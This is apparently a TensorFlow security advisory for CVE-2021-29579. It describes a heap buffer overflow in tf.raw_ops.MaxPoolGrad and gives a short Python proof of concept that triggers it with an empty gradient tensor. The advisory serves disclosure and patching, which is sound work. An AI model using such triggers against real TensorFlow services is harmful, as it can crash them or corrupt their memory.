CVE-2021-29579: Heap buffer overflow in `MaxPoolGrad`

May 21, 2021 (updated November 1, 2024)

The implementation of tf.raw_ops.MaxPoolGrad is vulnerable to a heap buffer overflow:

import tensorflow as tf

orig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.MaxPoolGrad(
orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
strides=strides, padding=padding, explicit_paddings=[])
